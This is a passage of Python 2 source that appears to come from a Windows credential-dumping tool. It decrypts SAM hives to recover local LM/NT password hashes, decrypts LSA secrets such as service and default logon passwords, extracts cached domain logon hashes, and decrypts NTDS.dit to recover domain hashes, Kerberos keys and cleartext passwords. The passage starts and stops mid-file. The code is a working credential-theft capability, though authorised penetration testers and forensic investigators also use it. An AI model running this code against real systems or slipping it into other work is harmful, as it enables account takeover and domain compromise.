794 # Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
795 OutputKey = []
796 OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
797 OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
798 OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
799 OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
800 OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
801 OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
802 OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
803 OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
804
805 for i in range(8):
806 OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
807
808 return "".join(OutputKey)
809
810 def deriveKey(self, baseKey):
811 # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
812 # Let I be the little-endian, unsigned integer.
813 # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
814 # Note that because I is in little-endian byte order, I[0] is the least significant byte.
815 # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
816 # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
817 key = pack('<L',baseKey)
818 key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
819 key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
820 return self.transformKey(key1),self.transformKey(key2)
821
822 @staticmethod
823 def decryptAES(key, value, iv='\x00'*16):
824 plainText = ''
825 if iv != '\x00'*16:
826 aes256 = AES.new(key,AES.MODE_CBC, iv)
827
828 for index in range(0, len(value), 16):
829 if iv == '\x00'*16:
830 aes256 = AES.new(key,AES.MODE_CBC, iv)
831 cipherBuffer = value[index:index+16]
832 # Pad buffer to 16 bytes
833 if len(cipherBuffer) < 16:
834 cipherBuffer += '\x00' * (16-len(cipherBuffer))
835 plainText += aes256.decrypt(cipherBuffer)
836
837 return plainText
838
839
840class OfflineRegistry:
841 def __init__(self, hiveFile = None, isRemote = False):
842 self.__hiveFile = hiveFile
843 if self.__hiveFile is not None:
844 self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
845
846 def enumKey(self, searchKey):
847 parentKey = self.__registryHive.findKey(searchKey)
848
849 if parentKey is None:
850 return
851
852 keys = self.__registryHive.enumKey(parentKey)
853
854 return keys
855
856 def enumValues(self, searchKey):
857 key = self.__registryHive.findKey(searchKey)
858
859 if key is None:
860 return
861
862 values = self.__registryHive.enumValues(key)
863
864 return values
865
866 def getValue(self, keyValue):
867 value = self.__registryHive.getValue(keyValue)
868
869 if value is None:
870 return
871
872 return value
873
874 def getClass(self, className):
875 value = self.__registryHive.getClass(className)
876
877 if value is None:
878 return
879
880 return value
881
882 def finish(self):
883 if self.__hiveFile is not None:
884 # Remove temp file and whatever else is needed
885 self.__registryHive.close()
886
887class SAMHashes(OfflineRegistry):
888 def __init__(self, samFile, bootKey, isRemote = False):
889 OfflineRegistry.__init__(self, samFile, isRemote)
890 self.__samFile = samFile
891 self.__hashedBootKey = ''
892 self.__bootKey = bootKey
893 self.__cryptoCommon = CryptoCommon()
894 self.__itemsFound = {}
895
896 def MD5(self, data):
897 md5 = hashlib.new('md5')
898 md5.update(data)
899 return md5.digest()
900
901 def getHBootKey(self):
902 logging.debug('Calculating HashedBootKey from SAM')
903 QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
904 DIGITS = "0123456789012345678901234567890123456789\0"
905
906 F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
907
908 domainData = DOMAIN_ACCOUNT_F(F)
909
910 rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
911
912 rc4 = ARC4.new(rc4Key)
913 self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
914
915 # Verify key with checksum
916 checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
917
918 if checkSum != self.__hashedBootKey[16:]:
919 raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
920
921 def __decryptHash(self, rid, cryptedHash, constant):
922 # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
923 # plus hashedBootKey stuff
924 Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
925
926 Crypt1 = DES.new(Key1, DES.MODE_ECB)
927 Crypt2 = DES.new(Key2, DES.MODE_ECB)
928
929 rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
930 rc4 = ARC4.new(rc4Key)
931 key = rc4.encrypt(cryptedHash)
932
933 decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
934
935 return decryptedHash
936
937 def dump(self):
938 NTPASSWORD = "NTPASSWORD\0"
939 LMPASSWORD = "LMPASSWORD\0"
940
941 if self.__samFile is None:
942 # No SAM file provided
943 return
944
945 logging.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
946 self.getHBootKey()
947
948 usersKey = 'SAM\\Domains\\Account\\Users'
949
950 # Enumerate all the RIDs
951 rids = self.enumKey(usersKey)
952 # Remove the Names item
953 try:
954 rids.remove('Names')
955 except:
956 pass
957
958 for rid in rids:
959 userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
960 rid = int(rid,16)
961
962 V = userAccount['Data']
963
964 userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
965
966 if userAccount['LMHashLength'] == 20:
967 encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
968 else:
969 encLMHash = ''
970
971 if userAccount['NTHashLength'] == 20:
972 encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
973 else:
974 encNTHash = ''
975
976 lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
977 ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
978
979 if lmHash == '':
980 lmHash = ntlm.LMOWFv1('','')
981 if ntHash == '':
982 ntHash = ntlm.NTOWFv1('','')
983
984 answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
985 self.__itemsFound[rid] = answer
986 print answer
987
988 def export(self, fileName):
989 if len(self.__itemsFound) > 0:
990 items = sorted(self.__itemsFound)
991 fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
992 for item in items:
993 fd.write(self.__itemsFound[item]+'\n')
994 fd.close()
995
996
997class LSASecrets(OfflineRegistry):
998 def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False):
999 OfflineRegistry.__init__(self,securityFile, isRemote)
1000 self.__hashedBootKey = ''
1001 self.__bootKey = bootKey
1002 self.__LSAKey = ''
1003 self.__NKLMKey = ''
1004 self.__isRemote = isRemote
1005 self.__vistaStyle = True
1006 self.__cryptoCommon = CryptoCommon()
1007 self.__securityFile = securityFile
1008 self.__remoteOps = remoteOps
1009 self.__cachedItems = []
1010 self.__secretItems = []
1011
1012 def MD5(self, data):
1013 md5 = hashlib.new('md5')
1014 md5.update(data)
1015 return md5.digest()
1016
1017 def __sha256(self, key, value, rounds=1000):
1018 sha = hashlib.sha256()
1019 sha.update(key)
1020 for i in range(1000):
1021 sha.update(value)
1022 return sha.digest()
1023
1024 def __decryptSecret(self, key, value):
1025 # [MS-LSAD] Section 5.1.2
1026 plainText = ''
1027
1028 encryptedSecretSize = unpack('<I', value[:4])[0]
1029 value = value[len(value)-encryptedSecretSize:]
1030
1031 key0 = key
1032 for i in range(0, len(value), 8):
1033 cipherText = value[:8]
1034 tmpStrKey = key0[:7]
1035 tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
1036 Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
1037 plainText += Crypt1.decrypt(cipherText)
1038 key0 = key0[7:]
1039 value = value[8:]
1040 # AdvanceKey
1041 if len(key0) < 7:
1042 key0 = key[len(key0):]
1043
1044 secret = LSA_SECRET_XP(plainText)
1045 return secret['Secret']
1046
1047 def __decryptHash(self, key, value, iv):
1048 hmac_md5 = HMAC.new(key,iv)
1049 rc4key = hmac_md5.digest()
1050
1051 rc4 = ARC4.new(rc4key)
1052 data = rc4.encrypt(value)
1053 return data
1054
1055 def __decryptLSA(self, value):
1056 if self.__vistaStyle is True:
1057 # ToDo: There could be more than one LSA Keys
1058 record = LSA_SECRET(value)
1059 tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
1060 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1061 record = LSA_SECRET_BLOB(plainText)
1062 self.__LSAKey = record['Secret'][52:][:32]
1063
1064 else:
1065 md5 = hashlib.new('md5')
1066 md5.update(self.__bootKey)
1067 for i in range(1000):
1068 md5.update(value[60:76])
1069 tmpKey = md5.digest()
1070 rc4 = ARC4.new(tmpKey)
1071 plainText = rc4.decrypt(value[12:60])
1072 self.__LSAKey = plainText[0x10:0x20]
1073
1074 def __getLSASecretKey(self):
1075 logging.debug('Decrypting LSA Key')
1076 # Let's try the key post XP
1077 value = self.getValue('\\Policy\\PolEKList\\default')
1078 if value is None:
1079 logging.debug('PolEKList not found, trying PolSecretEncryptionKey')
1080 # Second chance
1081 value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
1082 self.__vistaStyle = False
1083 if value is None:
1084 # No way :(
1085 return None
1086
1087 self.__decryptLSA(value[1])
1088
1089 def __getNLKMSecret(self):
1090 logging.debug('Decrypting NL$KM')
1091 value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
1092 if value is None:
1093 raise Exception("Couldn't get NL$KM value")
1094 if self.__vistaStyle is True:
1095 record = LSA_SECRET(value[1])
1096 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
1097 self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1098 else:
1099 self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
1100
1101 def __pad(self, data):
1102 if (data & 0x3) > 0:
1103 return data + (data & 0x3)
1104 else:
1105 return data
1106
1107 def dumpCachedHashes(self):
1108 if self.__securityFile is None:
1109 # No SECURITY file provided
1110 return
1111
1112 logging.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
1113
1114 # Let's first see if there are cached entries
1115 values = self.enumValues('\\Cache')
1116 if values is None:
1117 # No cache entries
1118 return
1119 try:
1120 # Remove unnecesary value
1121 values.remove('NL$Control')
1122 except:
1123 pass
1124
1125 self.__getLSASecretKey()
1126 self.__getNLKMSecret()
1127
1128 for value in values:
1129 logging.debug('Looking into %s' % value)
1130 record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
1131 if record['CH'] != 16 * '\x00':
1132 if self.__vistaStyle is True:
1133 plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
1134 else:
1135 plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
1136 pass
1137 encHash = plainText[:0x10]
1138 plainText = plainText[0x48:]
1139 userName = plainText[:record['UserLength']].decode('utf-16le')
1140 plainText = plainText[self.__pad(record['UserLength']):]
1141 domain = plainText[:record['DomainNameLength']].decode('utf-16le')
1142 plainText = plainText[self.__pad(record['DomainNameLength']):]
1143 domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
1144 answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
1145 self.__cachedItems.append(answer)
1146 print answer
1147
1148 def __printSecret(self, name, secretItem):
1149 # Based on [MS-LSAD] section 3.1.1.4
1150
1151 # First off, let's discard NULL secrets.
1152 if len(secretItem) == 0:
1153 logging.debug('Discarding secret %s, NULL Data' % name)
1154 return
1155
1156 # We might have secrets with zero
1157 if secretItem.startswith('\x00\x00'):
1158 logging.debug('Discarding secret %s, all zeros' % name)
1159 return
1160
1161 upperName = name.upper()
1162
1163 logging.info('%s ' % name)
1164
1165 secret = ''
1166
1167 if upperName.startswith('_SC_'):
1168 # Service name, a password might be there
1169 # Let's first try to decode the secret
1170 try:
1171 strDecoded = secretItem.decode('utf-16le')
1172 except:
1173 pass
1174 else:
1175 # We have to get the account the service
1176 # runs under
1177 if self.__isRemote is True:
1178 account = self.__remoteOps.getServiceAccount(name[4:])
1179 if account is None:
1180 secret = '(Unknown User):'
1181 else:
1182 secret = "%s:" % account
1183 else:
1184 # We don't support getting this info for local targets at the moment
1185 secret = '(Unknown User):'
1186 secret += strDecoded
1187 elif upperName.startswith('DEFAULTPASSWORD'):
1188 # defaults password for winlogon
1189 # Let's first try to decode the secret
1190 try:
1191 strDecoded = secretItem.decode('utf-16le')
1192 except:
1193 pass
1194 else:
1195 # We have to get the account this password is for
1196 if self.__isRemote is True:
1197 account = self.__remoteOps.getDefaultLoginAccount()
1198 if account is None:
1199 secret = '(Unknown User):'
1200 else:
1201 secret = "%s:" % account
1202 else:
1203 # We don't support getting this info for local targets at the moment
1204 secret = '(Unknown User):'
1205 secret += strDecoded
1206 elif upperName.startswith('ASPNET_WP_PASSWORD'):
1207 try:
1208 strDecoded = secretItem.decode('utf-16le')
1209 except:
1210 pass
1211 else:
1212 secret = 'ASPNET: %s' % strDecoded
1213 elif upperName.startswith('$MACHINE.ACC'):
1214 # compute MD4 of the secret.. yes.. that is the nthash? :-o
1215 md4 = MD4.new()
1216 md4.update(secretItem)
1217 if self.__isRemote is True:
1218 machine, domain = self.__remoteOps.getMachineNameAndDomain()
1219 secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
1220 else:
1221 secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
1222
1223 if secret != '':
1224 print secret
1225 self.__secretItems.append(secret)
1226 else:
1227 # Default print, hexdump
1228 self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
1229 hexdump(secretItem)
1230
1231 def dumpSecrets(self):
1232 if self.__securityFile is None:
1233 # No SECURITY file provided
1234 return
1235
1236 logging.info('Dumping LSA Secrets')
1237
1238 # Let's first see if there are cached entries
1239 keys = self.enumKey('\\Policy\\Secrets')
1240 if keys is None:
1241 # No entries
1242 return
1243 try:
1244 # Remove unnecesary value
1245 keys.remove('NL$Control')
1246 except:
1247 pass
1248
1249 if self.__LSAKey == '':
1250 self.__getLSASecretKey()
1251
1252 for key in keys:
1253 logging.debug('Looking into %s' % key)
1254 value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
1255
1256 if value is not None:
1257 if self.__vistaStyle is True:
1258 record = LSA_SECRET(value[1])
1259 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
1260 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1261 record = LSA_SECRET_BLOB(plainText)
1262 secret = record['Secret']
1263 else:
1264 secret = self.__decryptSecret(self.__LSAKey, value[1])
1265
1266 self.__printSecret(key, secret)
1267
1268 def exportSecrets(self, fileName):
1269 if len(self.__secretItems) > 0:
1270 fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
1271 for item in self.__secretItems:
1272 fd.write(item+'\n')
1273 fd.close()
1274
1275 def exportCached(self, fileName):
1276 if len(self.__cachedItems) > 0:
1277 fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
1278 for item in self.__cachedItems:
1279 fd.write(item+'\n')
1280 fd.close()
1281
1282
1283class NTDSHashes:
1284 NAME_TO_INTERNAL = {
1285 'uSNCreated':'ATTq131091',
1286 'uSNChanged':'ATTq131192',
1287 'name':'ATTm3',
1288 'objectGUID':'ATTk589826',
1289 'objectSid':'ATTr589970',
1290 'userAccountControl':'ATTj589832',
1291 'primaryGroupID':'ATTj589922',
1292 'accountExpires':'ATTq589983',
1293 'logonCount':'ATTj589993',
1294 'sAMAccountName':'ATTm590045',
1295 'sAMAccountType':'ATTj590126',
1296 'lastLogonTimestamp':'ATTq589876',
1297 'userPrincipalName':'ATTm590480',
1298 'unicodePwd':'ATTk589914',
1299 'dBCSPwd':'ATTk589879',
1300 'ntPwdHistory':'ATTk589918',
1301 'lmPwdHistory':'ATTk589984',
1302 'pekList':'ATTk590689',
1303 'supplementalCredentials':'ATTk589949',
1304 'pwdLastSet':'ATTq589920',
1305 }
1306
1307 NAME_TO_ATTRTYP = {
1308 'userPrincipalName': 0x90290,
1309 'sAMAccountName': 0x900DD,
1310 'unicodePwd': 0x9005A,
1311 'dBCSPwd': 0x90037,
1312 'ntPwdHistory': 0x9005E,
1313 'lmPwdHistory': 0x900A0,
1314 'supplementalCredentials': 0x9007D,
1315 'objectSid': 0x90092,
1316 }
1317
1318 ATTRTYP_TO_ATTID = {
1319 'userPrincipalName': '1.2.840.113556.1.4.656',
1320 'sAMAccountName': '1.2.840.113556.1.4.221',
1321 'unicodePwd': '1.2.840.113556.1.4.90',
1322 'dBCSPwd': '1.2.840.113556.1.4.55',
1323 'ntPwdHistory': '1.2.840.113556.1.4.94',
1324 'lmPwdHistory': '1.2.840.113556.1.4.160',
1325 'supplementalCredentials': '1.2.840.113556.1.4.125',
1326 'objectSid': '1.2.840.113556.1.4.146',
1327 'pwdLastSet': '1.2.840.113556.1.4.96',
1328 }
1329
1330 KERBEROS_TYPE = {
1331 1:'dec-cbc-crc',
1332 3:'des-cbc-md5',
1333 17:'aes128-cts-hmac-sha1-96',
1334 18:'aes256-cts-hmac-sha1-96',
1335 0xffffff74:'rc4_hmac',
1336 }
1337
1338 INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
1339
1340 SAM_NORMAL_USER_ACCOUNT = 0x30000000
1341 SAM_MACHINE_ACCOUNT = 0x30000001
1342 SAM_TRUST_ACCOUNT = 0x30000002
1343
1344 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
1345
1346 class PEKLIST_ENC(Structure):
1347 structure = (
1348 ('Header','8s=""'),
1349 ('KeyMaterial','16s=""'),
1350 ('EncryptedPek',':'),
1351 )
1352
1353 class PEKLIST_PLAIN(Structure):
1354 structure = (
1355 ('Header','32s=""'),
1356 ('DecryptedPek',':'),
1357 )
1358
1359 class PEK_KEY(Structure):
1360 structure = (
1361 ('Header','1s=""'),
1362 ('Padding','3s=""'),
1363 ('Key','16s=""'),
1364 )
1365
1366 class CRYPTED_HASH(Structure):
1367 structure = (
1368 ('Header','8s=""'),
1369 ('KeyMaterial','16s=""'),
1370 ('EncryptedHash','16s=""'),
1371 )
1372
1373 class CRYPTED_HASHW16(Structure):
1374 structure = (
1375 ('Header','8s=""'),
1376 ('KeyMaterial','16s=""'),
1377 ('Unknown','<L=0'),
1378 ('EncryptedHash','32s=""'),
1379 )
1380
1381 class CRYPTED_HISTORY(Structure):
1382 structure = (
1383 ('Header','8s=""'),
1384 ('KeyMaterial','16s=""'),
1385 ('EncryptedHash',':'),
1386 )
1387
1388 class CRYPTED_BLOB(Structure):
1389 structure = (
1390 ('Header','8s=""'),
1391 ('KeyMaterial','16s=""'),
1392 ('EncryptedHash',':'),
1393 )
1394
1395 def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
1396 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
1397 justUser=None):
1398 self.__bootKey = bootKey
1399 self.__NTDS = ntdsFile
1400 self.__history = history
1401 self.__noLMHash = noLMHash
1402 self.__useVSSMethod = useVSSMethod
1403 self.__remoteOps = remoteOps
1404 self.__pwdLastSet = pwdLastSet
1405 if self.__NTDS is not None:
1406 self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
1407 self.__cursor = self.__ESEDB.openTable('datatable')
1408 self.__tmpUsers = list()
1409 self.__PEK = list()
1410 self.__cryptoCommon = CryptoCommon()
1411 self.__kerberosKeys = OrderedDict()
1412 self.__clearTextPwds = OrderedDict()
1413 self.__justNTLM = justNTLM
1414 self.__savedSessionFile = resumeSession
1415 self.__resumeSessionFile = None
1416 self.__outputFileName = outputFileName
1417 self.__justUser = justUser
1418
1419 def getResumeSessionFile(self):
1420 return self.__resumeSessionFile
1421
1422 def __getPek(self):
1423 logging.info('Searching for pekList, be patient')
1424 peklist = None
1425 while True:
1426 record = self.__ESEDB.getNextRow(self.__cursor)
1427 if record is None:
1428 break
1429 elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
1430 peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
1431 break
1432 elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
1433 # Okey.. we found some users, but we're not yet ready to process them.
1434 # Let's just store them in a temp list
1435 self.__tmpUsers.append(record)
1436
1437 if peklist is not None:
1438 encryptedPekList = self.PEKLIST_ENC(peklist)
1439 if encryptedPekList['Header'][:4] == '\x02\x00\x00\x00':
1440 # Up to Windows 2012 R2 looks like header starts this way
1441 md5 = hashlib.new('md5')
1442 md5.update(self.__bootKey)
1443 for i in range(1000):
1444 md5.update(encryptedPekList['KeyMaterial'])
1445 tmpKey = md5.digest()
1446 rc4 = ARC4.new(tmpKey)
1447 decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
1448 PEKLen = len(self.PEK_KEY())
1449 for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
1450 cursor = i * PEKLen
1451 pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
1452 logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
1453 self.__PEK.append(pek['Key'])
1454
1455 elif encryptedPekList['Header'][:4] == '\x03\x00\x00\x00':
1456 # Windows 2016 TP4 header starts this way
1457 # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
1458 # using AES:
1459 # Key: the bootKey
1460 # CipherText: PEKLIST_ENC['EncryptedPek']
1461 # IV: PEKLIST_ENC['KeyMaterial']
1462 decryptedPekList = self.PEKLIST_PLAIN(
1463 self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
1464 encryptedPekList['KeyMaterial']))
1465 self.__PEK.append(decryptedPekList['DecryptedPek'][4:][:16])
1466 logging.info("PEK # 0 found and decrypted: %s", hexlify(decryptedPekList['DecryptedPek'][4:][:16]))
1467
1468 def __removeRC4Layer(self, cryptedHash):
1469 md5 = hashlib.new('md5')
1470 # PEK index can be found on header of each ciphered blob (pos 8-10)
1471 pekIndex = hexlify(cryptedHash['Header'])
1472 md5.update(self.__PEK[int(pekIndex[8:10])])
1473 md5.update(cryptedHash['KeyMaterial'])
1474 tmpKey = md5.digest()
1475 rc4 = ARC4.new(tmpKey)
1476 plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
1477
1478 return plainText
1479
1480 def __removeDESLayer(self, cryptedHash, rid):
1481 Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
1482
1483 Crypt1 = DES.new(Key1, DES.MODE_ECB)
1484 Crypt2 = DES.new(Key2, DES.MODE_ECB)
1485
1486 decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
1487
1488 return decryptedHash
1489
1490 def __fileTimeToDateTime(self, t):
1491 t -= 116444736000000000
1492 t /= 10000000
1493 if t < 0:
1494 return 'never'
1495 else:
1496 dt = datetime.fromtimestamp(t)
1497 return dt.strftime("%Y-%m-%d %H:%M")
1498
1499 def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
1500 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
1501 haveInfo = False
1502 logging.debug('Entering NTDSHashes.__decryptSupplementalInfo')
1503 if self.__useVSSMethod is True:
1504 if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
1505 if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
1506 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
1507 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
1508 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
1509 else:
1510 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
1511 cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
1512
1513 if cipherText['Header'][:4] == '\x13\x00\x00\x00':
1514 # Win2016 TP4 decryption is different
1515 pekIndex = hexlify(cipherText['Header'])
1516 plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
1517 cipherText['EncryptedHash'][4:],
1518 cipherText['KeyMaterial'])
1519 haveInfo = True
1520 else:
1521 plainText = self.__removeRC4Layer(cipherText)
1522 haveInfo = True
1523 else:
1524 domain = None
1525 userName = None
1526 replyVersion = 'V%d' % record['pdwOutVersion']
1527 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
1528 try:
1529 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
1530 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
1531 except Exception, e:
1532 logging.debug('Failed to execute OidFromAttid with error %s' % e)
1533 # Fallbacking to fixed table and hope for the best
1534 attId = attr['attrTyp']
1535 LOOKUP_TABLE = self.NAME_TO_ATTRTYP
1536
1537 if attId == LOOKUP_TABLE['userPrincipalName']:
1538 if attr['AttrVal']['valCount'] > 0:
1539 try:
1540 domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
1541 except:
1542 domain = None
1543 else:
1544 domain = None
1545 elif attId == LOOKUP_TABLE['sAMAccountName']:
1546 if attr['AttrVal']['valCount'] > 0:
1547 try:
1548 userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
1549 except:
1550 logging.error(
1551 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1552 userName = 'unknown'
1553 else:
1554 logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1555 userName = 'unknown'
1556 if attId == LOOKUP_TABLE['supplementalCredentials']:
1557 if attr['AttrVal']['valCount'] > 0:
1558 blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
1559 plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
1560 if len(plainText) > 24:
1561 haveInfo = True
1562 if domain is not None:
1563 userName = '%s\\%s' % (domain, userName)
1564
1565 if haveInfo is True:
1566 try:
1567 userProperties = samr.USER_PROPERTIES(plainText)
1568 except:
1569 # On some old w2k3 there might be user properties that don't
1570 # match [MS-SAMR] structure, discarding them
1571 return
1572 propertiesData = userProperties['UserProperties']
1573 for propertyCount in range(userProperties['PropertyCount']):
1574 userProperty = samr.USER_PROPERTY(propertiesData)
1575 propertiesData = propertiesData[len(userProperty):]
1576 # For now, we will only process Newer Kerberos Keys and CLEARTEXT
1577 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
1578 propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
1579 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
1580 data = kerbStoredCredentialNew['Buffer']
1581 for credential in range(kerbStoredCredentialNew['CredentialCount']):
1582 keyDataNew = samr.KERB_KEY_DATA_NEW(data)
1583 data = data[len(keyDataNew):]
1584 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
1585
1586 if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
1587 answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
1588 else:
1589 answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
1590 # We're just storing the keys, not printing them, to make the output more readable
1591 # This is kind of ugly... but it's what I came up with tonight to get an ordered
1592 # set :P. Better ideas welcomed ;)
1593 self.__kerberosKeys[answer] = None
1594 if keysFile is not None:
1595 self.__writeOutput(keysFile, answer + '\n')
1596 elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
1597 # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
1598 # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
1599 try:
1600 answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
1601 except UnicodeDecodeError:
1602 # This could be because we're decoding a machine password. Printing it hex
1603 answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'])
1604
1605 self.__clearTextPwds[answer] = None
1606 if clearTextFile is not None:
1607 self.__writeOutput(clearTextFile, answer + '\n')
1608
1609 if clearTextFile is not None:
1610 clearTextFile.flush()
1611 if keysFile is not None:
1612 keysFile.flush()
1613
1614 logging.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
1615
1616 def __decryptHash(self, record, prefixTable=None, outputFile=None):
1617 logging.debug('Entering NTDSHashes.__decryptHash')
1618 if self.__useVSSMethod is True:
